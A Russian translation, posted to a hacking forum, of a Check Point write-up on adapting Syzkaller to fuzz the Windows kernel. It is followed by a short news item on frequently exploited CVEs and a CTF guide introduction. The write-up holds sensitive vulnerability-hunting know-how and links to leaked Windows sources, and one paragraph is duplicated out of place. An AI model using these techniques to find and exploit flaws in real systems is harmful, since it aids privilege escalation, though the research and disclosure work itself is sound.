В этом техническом документе упоминается доклад, который мы провели на OffensiveCon (<https://www.offensivecon.org/speakers/2020/netanel-ben-simon- yoav-alon.html>) и BlueHat IL(<https://www.bluehatil.com/abstracts#collapse- FuzzingWindowsKernel>) в начале этого года.
Изучение фаззеров ядра
У нас большой опыт работы с AFL (https://github.com/google/AFL) и WinAFL (https://github.com/googleprojectzero/winafl), поэтому мы начали наше путешествие с поиска аналогичного фаззера, который можно использовать для атаки на ядро Windows.
Короткий поиск в Google неизбежно привел нас к kAFL (<https://github.com/RUB-
SysSec/kAFL>), AFL с k
, так как префикс звучит именно так, как нам нужно.
KAFL
kAFL (https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-schumilo.pdf)
Принцип kAFL аналогичен AFL, но, поскольку он нацелен на ядра ОС, ему необходимо больше работать над циклом фаззинга. Цикл фаззинга - это процесс, в котором в каждом цикле один контрольный пример проверяется относительно его цели и обрабатывается обратная связь.
Рисунок 1: Цикл фаззинга.
При первом запуске kAFL, фаззер (1) запускает несколько виртуальных машин, на которых работает целевая ОС, из сохраненного состояния. В снимке виртуальной машины есть предварительно загруженный агент (2), работающий внутри виртуальной машины.
Агент (2) и фаззер (1) взаимодействуют для продвижения процесса фаззинга. Агент работает в пользовательском пространстве и начинает связываться с фаззером через гипер-вызовы (https://wiki.xenproject.org/wiki/Hypercall) и отправляет адреса диапазона целевого драйвера на фаззер. Адреса ограничивают трассировки покрытия кода только для диапазонов, которые предоставляет агент.
В начале цикла, фаззер отправляет агенту ввод (3) через общую память. kAFL использует стратегию мутации, аналогичную AFL, для создания новых входных данных.
Затем агент уведомляет гипервизор о начале (4) сбора покрытия. Затем агент отправляет (5) входные данные целевому компоненту ядра: например, если мы нацеливаемся на драйвер с именем test.sys (6), который отвечает за анализ сжатых изображений, агент отправляет сгенерированный ввод драйверу для его тестирования.
Наконец, агент просит прекратить (7) сбор покрытия с KVM (8), и фаззер обрабатывает трассировку покрытия. Реализация покрытия kAFL использует Intel Processor Trace (IntelPT или IPT - <https://software.intel.com/en- us/blogs/2013/09/18/processor-tracing>) для механизма обратной связи покрытия.
Когда гостевая ОС пытается запустить, остановить или (9) собрать покрытие, она выполняет гипер-вызов на KVM (https://www.linux-kvm.org/page/Main_Page).
Механизм обнаружения сбоев в kAFL работает следующим образом:
Рисунок 2: Обнаружение крэша kAFL.
Агент (1) внутри виртуальной машины выполняет гипервызов (2) для KVM с адресами функцией BugCheck и BugCheckEx. KVM (3), в свою очередь, патчит (4) эти адреса с помощью шелл-кода (5), который выполняет гипервызов при выполнении.
Поэтому, когда машина сталкивается с багом, ядро вызывает исправленные версии функций BugCheck или BugCheckEx для выполнения гипервызова, чтобы уведомить(6) фаззер о сбое.
Теперь, когда мы понимаем механизмы, мы рассмотрели, как это можно отрегулировать в соответствии с нашими потребностями в средах Windows.
Что атаковать?
Ядро Windows огромно, содержит десятки миллионов строк кода(<https://techcommunity.microsoft.com/t5/Windows-Kernel-Internals/One- Windows-Kernel/ba-p/267142>) и миллионы исходных файлов(https://github.com/dwizzzle/Presentations/blob/master/David Weston - Keeping Windows Secure - Bluehat IL 2019.pdf).
Наше внимание сосредоточено на деталях, которые доступны из пространства пользователя. Эти части довольно сложны и могут быть использованы для Локального Повышения Привилегий (LPE).
Исходя из нашего опыта, AFL подходит для следующих целей:
- Быстрые цели, которые могут выполнять более 100 итераций в секунду.
- Парсеры - особенно для двоичных форматов.
Это соответствует тому, что написал Михал Залевский в README файле AFL: "По умолчанию, механизм мутации afl-fuzz оптимизирован для компактных форматов данных - например, изображений, мультимедиа, сжатых данных, синтаксиса регулярных выражений или сценариев оболочки. Он несколько менее подходит для языков с особенно многословным и избыточным словообразованием, особенно в том числе HTML, SQL или JavaScript". Мы искали подходящие цели в ядре Windows (рисунок 3).
Рисунок 3: Компоненты ядра Windows.
Вот цели, про которые мы говорили.
- Файловые системы, такие как NTFS, FAT, VHD и другие.
- Кусты реестра.
- Крипто/Целостность кода (CI).
- PE Формат.
- Шрифты (которые были перемещены в пространство пользователя, начиная с
Windows 10).
- Графические драйверы.
Типичная ошибка ядра в Windows
Мы вернулись назад и посмотрели на довольно типичную ошибку ядра - CVE-2018-0744 (<https://bugs.chromium.org/p/project- zero/issues/detail?id=1389>):
Рисунок 4: Типичная ошибка в win32k.
Эта программа содержит несколько системных вызовов, которые принимают в качестве входных данных высоко-структурированные данные, такие как структуры, константы (магические числа), указатели функций, строки и флаги.
Кроме того, существует зависимость между системными вызовами: вывод одного системного вызова используется как вход для других системных вызовов. Этот тип структуры очень распространен в случае ошибок ядра, когда последовательность системных вызовов используется для достижения ошибочного состояния, когда возникает уязвимость.
Важность структурированного понимания фаззинга и примеров можно найти здесь (<https://github.com/google/fuzzing/blob/master/docs/structure-aware- fuzzing.md>).
Поверхность атаки ядра Windows: kAFL против фазера системных вызовов
После того, как мы наблюдали ошибку, описанную выше, мы поняли, что использование фаззера в стиле AFL ограничит нас относительно небольшими частями ядра. Большая часть ядра Windows доступна из системных вызовов, которые включают в себя высоко-структурированные данные, но использование kAFL ограничит нас двоичными синтаксическими анализаторами в ядре, такими как драйверы устройств, файловые системы, формат PE, реестр и другие. Эти части относительно невелики по сравнению с объемом кода, доступным из системных вызовов. Поэтому, если бы у нас был фаззер системного вызова, мы могли бы потенциально охватить больше поверхностей для атак, таких как управление виртуальной памятью, диспетчер процессов, графика, пользовательские функции, gdi, безопасность, сеть и многие другие.
В этот момент мы поняли, что нам нужно искать системный фаззер.
Представляем Syzkaller
Syzkaller(https://github.com/google/syzkaller) - это структурированный фаззер ядра (a.k.a умный фазер системных вызовов).
Он поддерживает несколько операционных систем и работает на нескольких типах компьютеров (Qemu, GCE, мобильные телефоны и т.д.) и нескольких архитектурах (x86-64, aarch64).
На сегодняшний день Syzkaller (https://syzkaller.appspot.com/upstream) обнаружил 3700 ошибок в ядре Linux, по скромным меркам, одна из шести найденных ошибок - это ошибки безопасности.
Syzkaller является структурно-ориентированным фаззером, то есть имеет описание для каждого системного вызова.
Описания системного вызова записываются в текстовые файлы с использованием
go
-подобного
синтаксиса([https://github.com/google/syzkaller...ptions_syntax.md#syscall-
description-
language](https://github.com/google/syzkaller/blob/master/docs/syscall_descriptions_syntax.md#syscall-
description-language)).
Syz-sysgen является одним из инструментов Syzkaller и используется для анализа
и форматирования описаний системных вызовов. Когда этот процесс успешно
завершен, он преобразует текстовые файлы в код go
, которые скомпилированы
вместе с кодом фаззера, в исполняемый файл syz-fuzzer.
Syz-fuzzer - основной исполняемый файл для управления процессом фаззинга в гостевой виртуальной машине.
Syzkaller имеет собственный синтаксис для описания программ, системных вызовов, структур, объединений и многого другого. Сгенерированные программы также называются программами syz. Пример можно найти здесь (<https://github.com/google/syzkaller/blob/master/docs/syscall_descriptions.md#syscall- descriptions>).
Syzkaller использует несколько стратегий мутаций для мутации существующих программ. Syzkaller сохраняет программы, которые обеспечивают новое покрытие кода в формате syz, в базе данных. Эта база данных также известна как corpus.
Это позволяет нам остановить фаззер, внести изменения и продолжить с того же места, где мы остановились.
Рисунок 5: Архитектура Syzkaller (Linux).
Основной двоичный файл Syzkaller называется syz-manager (1). Когда он запускается, он выполняет следующие действия:
Загружает корпус (2) программ из более ранних запусков, запускает несколько тестовых (3) машин, копирует исполняемые файлы (6) и сам фаззер (5) на машину, используя ssh (4), и запускает программу Syz-fuzzer (5).
Затем Syz-fuzzer (5) выбирает корпус из менеджера и начинает генерировать программы. Каждая программа отправляется обратно менеджеру на ответственное хранение в случае сбоя. Затем Syz-fuzzer отправляет программу через межпроцессорное взаимодействие (7) исполнителю (6), который запускает системные вызовы (8) и собирает покрытие из ядра (9), KCOV в случае Linux.
KCOV (https://www.kernel.org/doc/html/v4.17/dev-tools/kcov.html) - это инструментальная функция времени компиляции, которая позволяет нам из пространства пользователя получать покрытие кода для каждого потока во всем ядре.
Если обнаруживается новая трасса покрытия, фаззер (11) сообщает об этом менеджеру.
Syzkaller стремится стать неконтролируемым фаззером, что означает, что он пытается автоматизировать весь процесс фаззинга. Примером этого свойства является то, что в случае сбоя Syzkaller порождает несколько машин- репродукторов для выделения сбойных программ syz из журнала программ. Воспроизводители стараются максимально свести к минимуму сбойную программу. Когда процесс завершится, большую часть времени Syzkaller будет воспроизводить либо программу syz, либо код C, который воспроизводит сбой. Syzkaller также может извлечь список сопровождающих из git и отправить им подробную информацию о сбое.
Syzkaller поддерживает ядро Linux и имеет впечатляющие результаты. Глядя на Syzkaller, мы подумали: если бы мы только могли фаззить ядро Linux в Windows. Это привело нас к изучению WSL.
WSLv1
Подсистема Windows для Linux (WSL) - это уровень совместимости для непосредственного запуска двоичных файлов Linux в Windows. Она переводит системными вызовы Linux в функции Windows. Первая версия была выпущена в 2016 году и включает в себя 2 драйвера: lxcore и lxss.
Она была разработан для запуска команд bash и ядра Linux для разработчиков.
WSLv1 использует облегченный процесс, называемый процессом pico, для размещения двоичных файлов Linux и специальных драйверов, называемых поставщиками pico, для обработки системных вызовов из процессов pico (дополнительную информацию см. здесь: (<https://channel9.msdn.com/Blogs/Seth- Juarez/Windows-Subsystem-for-Linux-Architectural-Overview>), (<https://docs.microsoft.com/en-us/archive/blogs/wsl/windows-subsystem-for- linux-overview>)).
Почему WSL?
Поскольку WSL относительно похож на ядро Linux, мы можем повторно использовать большую часть существующей грамматики для Linux и двоичных файлов syz-executor и syz-fuzzer, которые совместимы со средой Linux.
Мы хотели найти ошибки для Повышения Привилегий (PE), но WSL v1 не поставляется по умолчанию, и его может быть сложно использовать из песочницы, поскольку он выполняется в процессе другого типа (процесс PICO).
Но мы подумали, что было бы лучше получить опыт работы с Syzkaller на Windows с минимальными изменениями.
И началось портирование кода
Сначала мы установили дистрибутив Linux из магазина Microsoft и использовали Ubuntu в качестве нашего дистрибутива. Мы начали с добавления сервера ssh с командой "apt install openssh-server" и настроили ключи ssh. Далее мы хотели добавить поддержку трассировки покрытия. К сожалению, ядро Windows является закрытым исходным кодом и не предоставляет инструментарий времени компиляции, такой как KCOV в Linux.
Мы подумали о нескольких альтернативах, которые помогут нам получить трассировку покрытия:
- Использование эмулятора типа QEMU/BOCHS и добавление инструментария
покрытия.
- Использование статических бинарных инструментов, как в pe-afl
(https://github.com/wmliang/pe-afl).
- Использование гипервизора с выборкой покрытия, как в apple-pie
(https://github.com/gamozolabs/applepie).
- Использование поддержки оборудования для покрытия, как Intel-PT.
Мы решили использовать Intel-PT, потому что он обеспечивает трассировки для скомпилированных двоичных файлов во время выполнения, он относительно быстр и предоставляет полную информацию о покрытии, что означает, что мы можем получить начальный указатель инструкций (IP) для каждого базового блока, который мы посетили, в исходном порядке.
Использование Intel-PT из нашей виртуальной машины, на которой работает целевая ОС, требует нескольких модификаций KVM.
Мы использовали большие части патчей kAFL kvm для поддержки покрытия Intel-PT.
Кроме того, мы создали KCOV-подобный интерфейс с помощью гипер-вызовов, поэтому, когда исполнитель пытается запустить, остановить или собрать покрытие, он исполняет гипер-вызовы.
Symbolizer #1
Механизм обнаружения сбоев Syzkaller считывает выходные данные консоли виртуальной машины и использует предопределенные регулярные выражения для обнаружения ошибки типа паники ядра, предупреждений и т.д.
Нам обязательно был нужен механизм обнаружения сбоев для нашего порта, поэтому мы могли вывести на выходную консоль предупреждение, которое Syzkaller может перехватить.
Для обнаружения BSOD мы использовали технику kAFL.
Мы пропатчили BugCheck и BugCheckEx с помощью шелл-кода, который выполняет гипевызов и уведомляет о сбое, записывая уникальное сообщение в выходную консоль QEMU.
Мы добавили регулярное выражение в syz-manager для обнаружения сообщений о сбоях с выходной консоли QEMU. Чтобы улучшить обнаружение ошибок в ядре, мы также использовали Driver Verifier со специальными пулами для обнаружения повреждений пула («verifyier/flags 0x1/driver lxss.sys lxcore.sys»).
Общая проблема с фаззерами заключается в том, что они сталкиваются с одной и той же ошибкой много раз.
Чтобы избежать повторяющихся багов, Syzkaller требует уникальный вывод для каждого сбоя.
Наш первый подход состоял в том, чтобы извлечь несколько относительных адресов из стека, которые находятся в пределах диапазонов модулей, которые мы отслеживаем, и распечатать их на выходной консоли QEMU.
Санитарная проверка
Перед запуском фаззера мы хотели убедиться, что он действительно может обнаружить реальную ошибку, иначе мы просто тратим процессорное время. К сожалению, в то время мы не смогли найти общедоступный PoC с реальной ошибкой для выполнения этого теста.
Поэтому мы решили исправить определенный поток в одном из системных вызовов для эмуляции ошибки.
Фаззер смог его найти, что было хорошим знаком, и мы запустили фуззер.
Первая попытка фазинга
Наш механизм обнаружения сбоев был основан на kAFL, где мы исправили функции BugCheck и BugCheckEx с помощью шелл-кода, который запускает гипервызов при сбое, который перехватывает Патч-Гард. Он для этого и был разработан (https://en.wikipedia.org/wiki/Kernel_Patch_Protection#Technical_overview).
Чтобы обойти эту проблему, мы добавили драйвер, который запускается при загрузке и регистрирует обратный вызов bugcheck с помощью ядра, используя функцию KeRegisterBugCheckCallback (<https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/wdm/nf-wdm-keregisterbugcheckcallback>). Теперь, когда ядро дает сбой, оно вызывает наш драйвер, который затем запускает гипервызов, уведомляющий фаззер о сбоя.
Мы снова запустили фаззер и получили новую ошибку с другим кодом ошибки. Мы попытались воспроизвести сбой, чтобы помочь нам понять его, и обнаружили, что выполнение анализа первопричин из смещений и случайного мусора из стека затруднено.
Мы решили, что нам нужен лучший подход для получения информации о сбоях.
Symbolizer #2
Мы попытались запустить "kd"на нашей хост-машине под Wine для создания стека вызовов, но это не сработало, так как генерация стека вызовов заняла около 5 минут.
Такой подход создает узкое место для нашего фаззера. В процессе воспроизведения Syzkaller пытается свести к минимуму программы сбоя, насколько это возможно, и будет ожидать стек вызовов с каждой попыткой минимизации, чтобы определить, происходит ли такой же сбой.
Поэтому мы решили использовать удаленную машину Windows с KD и туннелировать все соединения udp. Это на самом деле хорошо работало, но когда мы увеличили его до 38 машин, соединения были разорваны, и Symbolizer подумал что все зависло.
Symbolizer #3
В этот момент мы спросили себя, как KD и WinDBG могут генерировать стек вызовов?
Ответ: они должны используют фукцнию StackWalk из библиотеки DbgHelp.dll.
Для генерации стека вызовов нам нужны StackFrame, ContextRecord и ReadMemoryRoutine.
Рисунок 7: Архитектура Symbolizer.
На рисунке 7 показана архитектура:
Мы получили стек, регистры и адреса драйверов из гостевой машины гостя, используя гипервизор KVM обратно в QEMU. Эмулятор QEMU отправил стек на удаленный компьютер с Windows, где наш symbolizer вызывает функцию StackWalk со всеми соответствующими аргументами и извлекает стек вызовов. Стек вызовов был распечатан обратно на консоль.
Эта архитектура была вдохновлена Bochspwn для Windows (https://github.com/googleprojectzero/bochspwn).
Теперь, когда мы получаем новый крэш, это выглядит так:
Symbolizer #4
Работа машины под управлением Windows вместе с нашим фаззером не идеальна, и
мы подумали, как трудно будет реализовать минимальный отладчик ядра на языке
go
и скомпилировать его в Syzkaller.
Мы начали с парсера и сборщика файлов PDB. После этого мы реализовали раскрутку стека x64, используя информацию о раскрутке, хранящуюся в PE файле.
Последняя часть заключалась в том, чтобы реализовать серию KD, которая работала довольно медленно, поэтому мы начали работать над KDNET и после того, как мы закончили, интегрировали его в Syzkaller.
Это решение было намного лучше, чем предыдущие решения.
Наш механизм дедупликации теперь основан на ошибочном кадре. Мы также получаем код ошибки функции BugCheck, регистры и стек вызовов.
Стабильность покрытия
Другой проблемой, с которой мы столкнулись, была стабильность покрытия.
Syzkaller использует несколько потоков для поиска гонок данных.
Например, когда сгенерированная программа имеет 4 системных вызова, она может разделить ее на два потока, чтобы один поток запускал системные вызовы 1 и 2, а другой поток - системные вызовы 3 и 4.
В нашей реализации покрытия мы использовали один буфер на процесс. На практике, запуск одной и той же программы несколько раз приведет к различным трассам покрытия при каждом запуске.
Нестабильность покрытия ухудшает способность фаззеров находить новые и интересные пути кода и баги.
Мы хотели решить эту проблему, изменив нашу реализацию покрытия, чтобы она была похожа на реализацию KCOV.
Мы знали, что KCOV отслеживает покрытие для каждого потока, и мы хотели иметь этот механизм.
Для создания KCOV-подобных трасс нам понадобится:
- Отслеживание потоков в KVM для замены буферов.
- Добавление информации о дескрипторе потока в наш API гипервызова.
Для отслеживания потоков нам понадобился хук для переключения контекста. Мы
знаем, что можем получить текущий поток из глобального сегмента:
Рисунок 8: Функция KeGetCurrentThread.
Мы посмотрели, что происходит во время переключения контекста, и мы нашли инструкцию swapgs в функции, которая обрабатывает переключение контекста. Когда происходят замены, это провоцирует вызов VMExit, который гипервизор может перехватить.
Рисунок 9: swapgs внутри функции SwapContext.
Это означает, что если мы можем отслеживать замены, мы также можем отслеживать изменения потоков в гипервизоре KVM.
Это выглядело как хорошая точка для отслеживания переключения контекста и обработки IntelPT для отслеживаемых потоков.
Это позволило нам подключать и переключать буферы ToPa при каждом переключении контекста. Записи ToPa описывают Intel-PT физические адреса, по которым он может записать вывод трассировки.
Нам все еще оставалось решить несколько мелких проблем:
- Отключение служб и автоматически загружаемых программ, а также ненужных
служб для ускорения загрузки.
- Обновление Windows случайно перезапустило наши машины и потребило много
ресурсов процессора.
- Защитник Windows случайно убил наш фаззера.
В общем (<https://support.microsoft.com/en-us/help/15055/windows-7-optimize- windows-better-performance>), мы настроили нашу гостевую машину на лучшую производительность.
Результаты WSL фазинга
В целом, мы фаззили WSL в течение 4 недель и использовали 38 виртуальных процессоров. В конце у нас был рабочий прототип и гораздо лучшее понимание того, как работает Syzkaller.
Мы нашли 4 ошибки DoS и несколько взаимоблокировок. Однако мы не обнаружили какой-либо уязвимости в системе безопасности, что нас разочаровало, тогда мы решили перейти к целевому PE.
Движение к реальной цели
Фаззинг WSL был хорошим способом познакомиться с Syzkaller в Windows. Но в этот момент мы хотели вернуться к настоящей цели повышения привилегий - той, которая по умолчанию поставляется с Windows и доступна из различных песочниц.
Мы посмотрели на поверхность атаки ядра Windows и решили начать с подсистемы Win32k. Win32k - это сторона ядра подсистемы Windows, которая является инфраструктурой графического интерфейса операционной системы. Это также общая цель для локального повышения привилегий (LPE), потому что она доступна из многих песочниц.
Она включает в себя две подсистемы:
- Диспетчер окон, также известная как User.
- Интерфейс графического устройства, также известная как GDI.
Подсистема имеет много системных вызовов (~ 1200), что означает, что она является хорошей целью для грамматических фаззеров (как показано ранее CVE-2018-0744).
Начиная с Windows 10, win32k разделена на несколько драйверов: win32k, win32kbase и win32kfull.
Чтобы заставить Syzkaller работать для подсистемы win32k, нам пришлось изменить несколько вещей:
- Скомпилировать фаззер и исполняемые файлы для Windows.
- Изменения, связанные с ОС.
- Раскрытие системных звонков Windows в фаззер.
- Кросс-компиляция с mingw ++ для удобства.
Настройки подсистемы Win32k
Начиная с исходного кода фаззера, мы добавили соответствующую реализацию для Windows, такую как каналы, разделяемая память и многое другое.
Грамматика является важной частью фаззера, который мы подробно объясним позже.
Затем мы перешли к исправлению исполнителя для кросс-компиляции с использованием MinGW. Нам также пришлось пофиксить разделяемую память, пайпы и отключить режим ветвления, так как он не существует в Windows.
В рамках компиляции грамматики syz-sysgen генерирует файл заголовка (syscalls.h), который включает все имена\числа системных вызовов.
В случае с Windows мы остановились на экспортированных оболочках системных вызовов и функциях WinAPI (например, таких как CreateWindowExA и NtUserSetSystemMenu).
Большая часть оболочки syscalls экспортируется в библиотеки win32u.dll и gdi32.dll. Чтобы представить их нашему исполняемому файлу, мы использовали gendef (https://sourceforge.net/p/mingw-w64/wiki2/gendef/) для генерации файлов определений из dll. Затем мы использовали mingw-dlltool для создания библиотечных файлов и в конце концов связали их с главным файлов.
Санитарная проверка
Как мы уже говорили ранее, мы хотели убедиться, что наш фаззер способен воспроизводить старые ошибки, так как в противном случае мы тратим процессорное время.
На этот раз мы взяли настоящий баг (CVE-2018-0744, см. Рисунок 4), и мы хотели ее воспроизвести. Мы добавили соответствующие системные вызовы и позволили фаззеру найти его, но, к сожалению, это не удалось. Мы подозревали, что у нас есть ошибка, поэтому мы написали программу syz и использовали syz-execprog, Syzkaller для непосредственного выполнения программ syz, чтобы убедиться, что она работает. Системные вызовы были успешно вызваны, но, к сожалению, система не сломалась.
Через некоторое время мы поняли, что фаззер работает под сеансом 0. Все службы, включая нашу службу ssh, являются консольными приложениями, которые выполняются в сеансе 0 и не предназначены для работы с графическим интерфейсом. Таким образом, мы изменили его для запуска в качестве обычного пользователя в сеансе 1. Как только мы это сделали, Syzkaller смог успешно воспроизвести ошибку.
Мы пришли к выводу, что мы всегда должны тестировать новый код, эмулируя ошибки или воспроизводя старые.
Проверка стабильности
Всего мы добавили 15 новых функций и снова запустили фаззер.
Мы получили первый сбой в функции win32kfull!_OpenClipboard, это был сбой типа Use-After-Free. Но по какой-то причине, этот сбой не воспроизводился на других машинах. Сначала мы подумали, что это из-за другой ошибки, которую мы создали, но сбой был воспроизведён на той же машине, но без фаззера.
Стек вызовов и сбойная программа не помогли нам понять, что случилось.
Поэтому, мы пошли и посмотрели в IDA где произошел сбой:
Рисунок 11: Сбойное место - win32kfull! _OpenClipboard.
Мы заметили, что сбой происходит внутри условного блока, где он зависит от флага поставщика ETW: Win32kTraceLoggingLevel.
Этот флаг включен на некоторых машинах и выключен на других, поэтому мы заключаем, что мы, вероятно, получили A/B-тестовую машину.
Мы зарепортили об этом баге и снова установили Windows.
Мы снова запустили фаззер и получили новую ошибку, на этот раз отказ в обслуживании в функции RegisterClassExA. На данный момент наша мотивация взлетела до небес, потому что если 15 системных вызовов привели к 2 ошибкам, это означает, что 1500 системных вызовов приведут к 200 ошибкам.
Грамматика в win32k
Поскольку ранее не было публичного исследования системного вызова win32k, нам пришлось создавать правильную грамматику с нуля.
Мы получили первый сбой в функции win32kfull!_OpenClipboard, это был сбой типа Use-After-Free. Но по какой-то причине, этот сбой не воспроизводился на других машинах. Сначала мы подумали, что это из-за другой ошибки, которую мы создали, но сбой был воспроизведён на той же машине, но без фаззера.
Нашей первой мыслью было, что, возможно, мы сможем автоматизировать этот процесс, но мы столкнулись с двумя проблемами:
Во-первых, заголовочных файлов Windows недостаточно для создания грамматики, поскольку они не предоставляют важную информацию для фаззера системного вызова, например уникальные строки, некоторые параметры DWORD фактически являются флагами, а многие структуры определены как LPVOID.
Во-вторых, многие системные вызовы просто не документированы (например, функция NtUserSetSystemMenu).
К счастью, многие части Windows являются технически открытым исходным кодом:
- Windows NT Leaked sources – https://github.com/ZoloZiak/WinNT4
- Windows 2000 Leaked sources – https://github.com/pustladi/Windows-2000
- ReactOS (Leaked w2k3 sources?) – https://github.com/reactos/reactos
- Windows Research Kit – https://github.com/Zer0Mem0ry/ntoskrnl
Мы искали каждый системный вызов в MSDN и в просочившихся источниках, а также проверяли его с помощью IDA и WinDBG.
Многие сгенерированные нами сигнатуры функций было легко создать, но некоторые были настоящим кошмаром - включали множество структур, недокументированных аргументов, некоторые системные вызовы имели 15 и более аргументов.
После нескольких сотен системных вызовов мы снова запустили фаззер и получили 3 уязвимости GDI и несколько ошибок типа Отказ в Обслуживании.
На данный момент мы рассмотрели несколько сотен системных вызовов в win32k. Мы хотели найти больше ошибок. Таким образом, мы пришли к выводу, что пришло время углубиться в поиски дополнительной информации о подсистеме Win32k и выйти на более сложные поверхности атаки.
Фаззеры не являются магией, но, чтобы найти ошибки, мы должны убедиться, что мы покрываем большинство поверхностей атаки по нашей цели.
Мы вернулись назад, чтобы прочитать больше о подсистемеWin32k, понять старые ошибки и классы ошибок. Затем мы попытались поддержать недавно изученные поверхности атаки нашего фаззера.
Одним из примеров является GDI Shared Handle. _PEB! GdiSharedHandleTable - это массив указателей на структуру, которая содержит информацию об общих дескрипторах GDI между всеми процессами.
Мы добавили это в Syzkaller, добавив псевдо-системный вызов GetGdiHandle (тип, индекс), который получает тип дескриптора и индекса. Эта функция перебирает массив таблиц общих дескрипторов GDI от инициализации до индекса и возвращает последний дескриптор того же типа, что и запрошенный.
Это привело к CVE-2019-1159(<https://cpr- zero.checkpoint.com/vulns/cprid-2132/>), Use-After-Free, запускаемому одним системным вызовом с глобальным дескриптором GDI, который создается при загрузке.
Результаты
Мы фаззили почти 1,5 месяца и запускали все это на 60 процессорах.
Мы нашли 10 уязвимостей (3 pending , 1 дубликат)
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1014>
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1096>
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1159>
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1164>
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1256>
- <https://portal.msrc.microsoft.com/en-US/security-
guidance/advisory/CVE-2019-1286>
Мы также обнаружили 3 ошибки DoS, 1 сбой в WinLogon и несколько взаимоблокировок.
LPE → RCE?
Локальные ошибки повышения привилегий - это круто, но как насчет удаленного выполнения кода?
Представляем WMF - формат метафайлов Windows.
WMF - это формат файла изображения. Он был разработан еще в 1990-х годах и поддерживает как векторную графику, так и растровые изображения. Microsoft расширила этот формат на протяжении многих лет как следующие форматы
- EMF
- EMF+
- EMFSPOOL
Microsoft также добавила функцию в этот формат, которая позволяет добавлять записи, которые воспроизводятся для воспроизведения графического вывода. Когда эти записи воспроизводятся, анализатор изображений вызывает системный вызов NtGdi. Вы можете прочитать больше об этом формате в лекции j00ru(https://j00ru.vexillium.org/slides/2016/pacsec.pdf).
Количество системных вызовов, принимающих файл EMF, ограничено, но, к счастью для нас, мы обнаружили уязвимость в функции StretchBlt, которая принимает файл EMF.
Резюме
Нашей целью было найти ошибки ядра Windows с помощью фаззера.
Мы начали исследовать ландшафт фаззеров в ядре Windows, и поскольку у нас был опыт работы с фаззерами стиля AFL, мы искали тот, который работает аналогично, и нашли kAFL.
Мы смотрели на kAFL и искали поверхности атаки в ядре Windows, но быстро выяснили, что фаззер системного вызова может достичь гораздо большего количества поверхностей атаки.
Мы искали fuzzers для системных вызовов и нашли Syzkaller.
В этот момент мы начали портировать его на WSL, так как он наиболее похож на ядро Linux, и мы могли получить некоторый опыт работы с Syzkaller в Windows. Мы реализовали инструментарий покрытия для ядра Windows с помощью IntelPT. Мы поделились механизмом обнаружения сбоев, который использовался для устранения дубликатов ошибок. Мы нашли несколько проблем со стабильностью покрытия и поделились своим решением.
После того, как мы обнаружили некоторые баги типа DoS, мы решили перейти к реальной цели файла типа PE - подсистемы win32k - но нам пришлось реализовать недостающие части в Syzkaller. Затем мы провели проверку работоспособности и стресс-тест, чтобы убедиться, что фаззер не тратит процессорное время. После этого мы потратили много времени на написание грамматики, чтение о нашей цели и в конечном итоге добавление поддержки вновь изученных частей подсистемы Win32k обратно в фаззер.
В целом, наше исследование привело нас к обнаружению 8 уязвимостей, ошибок DoS и взаимоблокировок в ядре Windows 10.
Источник: <https://research.checkpoint.com/2020/bugs-on-the-windshield-
fuzzing-the-windows-kernel/>
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Аналитики ФБР и Агентства по кибербезопасности и защите инфраструктуры, организованного при Министерстве внутренней безопасности США (DHS CISA), подготовили список самых эксплуатируемых уязвимостей за период с 2016 по 2019 год.
Исследователи в очередной раз призвали организации в государственном и частном секторах своевременно устанавливать необходимые патчи для предотвращения наиболее распространенных форм атак. Дело в том, что власти США уверены: массовая установка исправлений может больно ударить киберарсеналу иностранных хакеров, нацеленных на американские компании, ведь тогда взломщикам придется тратить ресурсы на разработку новых эксплоитов.
Эксплуатация этих уязвимостей, как правило, требует намного меньше ресурсов по сравнению с эксплоитами для 0-day уязвимостей, для которых нет доступных патчей», — пишут эксперты в своем докладе.
Click to expand...
Также аналитики CISA и ФБР отмечают следующие тенденции:
Что до списка 10 наиболее используемых уязвимостей 2016-2019 годов, в него вошли следующие баги: CVE-2017-11882, CVE-2017-0199, CVE-2017-5638, CVE-2012-0158, CVE-2019-0604, CVE-2017-0143, CVE-2018-4878, CVE-2017 -8759, CVE-2015-1641 и CVE-2018-7600. Подробнее об этих проблемах — ниже.
Существует компания под названием «СheckPoint-
Research**». И люди часто задают им
вопрос: "Как начать писать эксплойты?".
Вот что они отвечают:
Мы много раз слышали этот вопрос. Мы достаточно молоды, чтобы помнить, как
спросили об этом сами. Стандартный ответ - это, за частую, смущенное
бормотание, что нет золотых правил, и что вы, вероятно, должны следовать тому
или иному человеку в Твиттере, чтобы получить советы, а затем «пойти на CTF
площадку, делать некоторые упражнения CTF, я не знаю».
Таски CTF - это в основном самостоятельные задачи, которые требуют от
участника решения некоторой головоломки для заполучения некоторого фрагмента
данных («флага») в качестве доказательства того, что задача решена.
Новички могут попробовать выполнить упражнения CTF, но они не обязательно
получат хороший опыт. Эти упражнения за частую сложные, но не всегда
познавательные; многие из них полны технических проблем, сбивающих с толку
новичков, и часто трудно отличить их от сути задачи.
Если вам не удается пройти квест CTF, это обычно говорит о том, что вы
потратили несколько часов в пустую, что, безусловно, разочаровывает.
Даже если вы преуспеваете, нередко бывает, что множество отличных знаний
теряются в процессе.
Вот почему мы любим хорошо продуманные квесты CTF с подробным райт-апом. Они позволяют вам самостоятельно решить задачу, но, при этом, показывают, какой образ мыслей и набор инструментов может потребоваться для правильного решения. Даже если у вас ничего не получится, хорошая рецензия поможет вам найти ответ. Райт-ап, который в любой момент ответит на вопрос больше всего волнующий ученика: «Но как Я должен был догадаться до этого?»
Задачки от Georgia Tech «Toddler’s Bottle» - очень близки к идеалу упражнения CTF - они короткие, "дистиллированные" и точные. Чтобы дополнить их, мы создали нижеприведенный документ - последовательность управляемых решений и конспектов лекций, которые помогают читателю справиться с проблемами, предоставить контекст и перспективу и попытаться соответствовать идеалу, описанному выше.
Итак, с чего мне начать? - на самом деле простого решения не существует, но, надеюсь, это руководство поможет Вам. Удачи!**
Плейграунд pwnable.kr
[Мануал по прохождению](https://research.checkpoint.com/wp-
content/uploads/2020/03/pwnable_writeup.pdf)
